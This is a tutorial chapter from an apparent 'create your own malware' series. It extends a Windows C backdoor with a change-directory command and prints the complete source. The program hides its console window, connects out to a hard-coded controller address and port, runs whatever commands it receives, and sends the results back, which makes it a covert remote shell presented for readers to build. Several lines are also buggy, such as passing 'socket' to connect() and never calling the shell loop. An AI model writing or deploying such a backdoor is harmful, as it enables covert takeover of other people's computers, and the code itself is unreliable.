Create your own malware using C: Adding functionalities

Changing directories

For start this “Adding functionalities” section, we will add a “cd” (Change directory) like command to our malware.

Let’s start by opening the “Backdoor.c” file, and go to your “void Shell” function. What we want to do, is to add an option for the “cd” command in the “if/else” section. Between the only two existing “if/else” statements, add another one, containing the following code:

else if(strncmp("cd ", buffer, 3) == 0) {
  chdir(str_cut(buffer, 3, 100));
}

What does that if block do, is basically check if the buffer is a “cd” command. Why are we comparing the “buffer” variable with “cd” and an empty space? Simple, once you send to the client the change directory command, it will contain the “cd” part, and the desired directory to navigate to part, for example:

cd Documents

That’s how the command looks like. If we compare just “cd” with our buffer, it will confuse it with the “cd” command which returns the current directory in Windows. In Windows, the “cd” and “cd Directory” are not the same.

That’s why we compare with the first three characters of our command, so our backdoor won’t confuse it with the “change directory” command and the “print current directory” command.

The next thing our above piece of code does, it to change the directory by using a function called “chdir”. As you could see, we can’t simply pass “buffer” as a parameter because “buffer” will contain the entire command (including “cd”) causing the program to try to change the current directory to, for example, “cd Desktop”. We will create a function called “buffer” which will cut the “cd “ part. Add the following function to the beginning of your program (after “int sock;”).

char *
str_cut(char str[], int slice_from, int slice_to)
{
  if (str[0] == '\0')
          return NULL;

  char *buffer;
  size_t str_len, buffer_len;

  if (slice_to < 0 && slice_from > slice_to) {
          str_len = strlen(str);
          if (abs(slice_to) > str_len - 1)
                  return NULL;

          if (abs(slice_from) > str_len)
                  slice_from = (-1) * str_len;

          buffer_len = slice_to - slice_from;
          str += (str_len + slice_from);

  } else if (slice_from >= 0 && slice_to > slice_from) {
          str_len = strlen(str);

          if (slice_from > str_len - 1)
                  return NULL;
          buffer_len = slice_to - slice_from;
          str += slice_from;

  } else
          return NULL;

  buffer = calloc(buffer_len, sizeof(char));
  strncpy(buffer, str, buffer_len);
  return buffer;
}

That function takes three arguments:

  • char str[]: The string of which we want to slice a part of
  • int slice_from: The beginning part of our slice, for example, we want to cut the value of “buffer” from its 3 character.
  • int slice_to: The final part of our slice, for example, we will slice the “buffer” value from its 3rd character, to its 100th.

This is how our entire code looks so far:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <winsock2.h>
#include <windows.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>

#define bzero(p, size) (void) memset((p), 0, (size))

int sock;

char *
str_cut(char str[], int slice_from, int slice_to)
{
  if (str[0] == '\0')
          return NULL;

  char *buffer;
  size_t str_len, buffer_len;

  if (slice_to < 0 && slice_from > slice_to) {
          str_len = strlen(str);
          if (abs(slice_to) > str_len - 1)
                  return NULL;

          if (abs(slice_from) > str_len)
                  slice_from = (-1) * str_len;

          buffer_len = slice_to - slice_from;
          str += (str_len + slice_from);

  } else if (slice_from >= 0 && slice_to > slice_from) {
          str_len = strlen(str);

          if (slice_from > str_len - 1)
                  return NULL;
          buffer_len = slice_to - slice_from;
          str += slice_from;

  } else
          return NULL;

  buffer = calloc(buffer_len, sizeof(char));
  strncpy(buffer, str, buffer_len);
  return buffer;
}

void Shell() {
  char buffer[1024];
  char container[1024];
  char total_response[1024];

  while(1) {
    jump:
    bzero(buffer, sizeof(buffer));
    bzero(container, sizeof(container));
    bzero(total_response, sizeof(total_response));

    recv(sock, buffer, 1024, 0);

    if(strncmp("q", buffer, 1) == 0) {
      closesocket(sock);
      WSACleanup();
      exit(0);
    } else if(strncmp("cd ", buffer, 3) == 0) {
      chdir(str_cut(buffer, 3, 100));
    } else {
      FILE *fp;
      fp = _popen(buffer, "r");
      while(fgets(container, 1024, fp) != NULL) {
        strcat(total_response, container);
      }
      send(sock, total_response, sizeof(total_response), 0);
      fclose(fp);
    }
  }
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {
  HWND stealth;
  AllocConsole();
  stealth = FindWindowA("ConsoleWindow", NULL);

  ShowWindow(stealth, 0);

  struct sockaddr_in ServAddr;
  unsigned short ServPort;
  char *ServIP;
  WSADATA wsaData;

  ServIP = "192.168.1.1";
  ServPort = 50005;

  if(WSAStartup(MAKEWORD(2,0), &wsaData) != 0) {
    exit(1);
  }

  sock = socket(AF_INET, SOCK_STREAM, 0);

  memset(&ServAddr, 0, sizeof(ServAddr));
  ServAddr.sin_family = AF_INET;
  ServAddr.sin_addr.s_addr = inet_addr(ServIP);
  ServAddr.sin_port = htons(ServPort);

start:
  while (connect(socket, (struct sockaddr *) &ServAddr, sizeof(ServAddr != 0))) {
    Sleep(10);
    goto start;
  }
}